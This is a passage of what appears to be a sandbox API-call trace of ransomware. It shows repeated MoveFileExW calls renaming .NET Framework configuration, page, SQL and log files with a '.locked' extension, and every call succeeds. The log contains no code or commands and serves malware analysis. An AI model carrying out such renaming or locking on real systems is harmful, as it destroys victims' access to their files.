"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\edituser.aspx.locked"), dwFlags=0x2) returned 1 [0213.197] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\findusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\findusers.aspx.locked"), dwFlags=0x2) returned 1 [0213.214] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\manageusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\manageusers.aspx.locked"), dwFlags=0x2) returned 1 [0213.232] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx.locked"), dwFlags=0x2) returned 1 [0213.236] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\web.config.locked"), dwFlags=0x2) returned 1 [0213.246] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp.aspx.locked"), dwFlags=0x2) returned 1 [0213.261] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_application.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_application.aspx.locked"), dwFlags=0x2) returned 1 [0213.267] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_internals.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_internals.aspx.locked"), dwFlags=0x2) returned 1 [0213.276] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_provider.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_provider.aspx.locked"), dwFlags=0x2) returned 1 [0213.291] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_security.aspx.locked"), dwFlags=0x2) returned 1 [0213.306] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminstyles.css"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\webadminstyles.css.locked"), dwFlags=0x2) returned 1 [0213.309] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Aspnet.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Aspnet.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet.config.locked"), dwFlags=0x2) returned 1 [0213.320] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_perf.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_perf.h.locked"), dwFlags=0x2) returned 1 [0213.324] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state_perf.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state_perf.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state_perf.h.locked"), dwFlags=0x2) returned 1 [0213.327] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\caspol.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\caspol.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\caspol.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\caspol.exe.config.locked"), dwFlags=0x2) returned 1 [0213.402] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\defaultwsdlhelpgenerator.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\defaultwsdlhelpgenerator.aspx.locked"), dwFlags=0x2) returned 1 [0213.420] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0213.431] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0213.446] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0213.456] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\legacy.web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0213.497] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config.locked"), dwFlags=0x2) returned 1 [0213.504] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\netfx40_iis_schema_update.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\netfx40_iis_schema_update.xml.locked"), dwFlags=0x2) returned 1 [0213.509] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\netfx45_iis_schema_update.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\netfx45_iis_schema_update.xml.locked"), dwFlags=0x2) returned 1 [0213.554] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web.config.locked"), dwFlags=0x2) returned 1 [0213.568] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0213.577] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0213.589] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0213.598] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0213.607] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CORPerfMonSymbols.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\corperfmonsymbols.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CORPerfMonSymbols.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\corperfmonsymbols.h.locked"), dwFlags=0x2) returned 1 [0213.609] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\csc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\csc.exe.config.locked"), dwFlags=0x2) returned 1 [0213.612] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\cvtres.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\cvtres.exe.config.locked"), dwFlags=0x2) returned 1 [0213.615] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\DataSvcUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\datasvcutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\DataSvcUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\datasvcutil.exe.config.locked"), dwFlags=0x2) returned 1 [0213.617] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dfsvc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dfsvc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dfsvc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dfsvc.exe.config.locked"), dwFlags=0x2) returned 1 [0213.624] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ilasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ilasm.exe.config.locked"), dwFlags=0x2) returned 1 [0213.698] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installcommon.sql.locked"), dwFlags=0x2) returned 1 [0213.790] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installmembership.sql.locked"), dwFlags=0x2) returned 1 [0213.843] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0213.879] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0213.914] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installroles.sql.locked"), dwFlags=0x2) returned 1 [0213.966] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0214.019] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0214.022] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installutil.exe.config.locked"), dwFlags=0x2) returned 1 [0214.031] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0214.034] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\jsc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\jsc.exe.config.locked"), dwFlags=0x2) returned 1 [0214.041] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\microsoft.workflow.compiler.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\microsoft.workflow.compiler.exe.config.locked"), dwFlags=0x2) returned 1 [0214.055] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe.config.locked"), dwFlags=0x2) returned 1 [0214.061] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\netmemorycache.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\netmemorycache.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\netmemorycache.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\netmemorycache.h.locked"), dwFlags=0x2) returned 1 [0214.244] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.log.locked"), dwFlags=0x2) returned 1 [0214.324] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.old.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.old.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.old.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.old.log.locked"), dwFlags=0x2) returned 1 [0214.836] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.log.locked"), dwFlags=0x2) returned 1 [0214.841] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.old.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.old.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen_service.old.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen_service.old.log.locked"), dwFlags=0x2) returned 1 [0214.893] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\PerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\PerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\perfcounters.h.locked"), dwFlags=0x2) returned 1 [0214.895] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regasm.exe.config.locked"), dwFlags=0x2) returned 1 [0214.898] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0215.224] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1025\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1025\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0215.299] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1025\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1025\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0215.458] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1028\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1028\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0215.524] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1028\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1028\\localizeddata.xml.locked"), 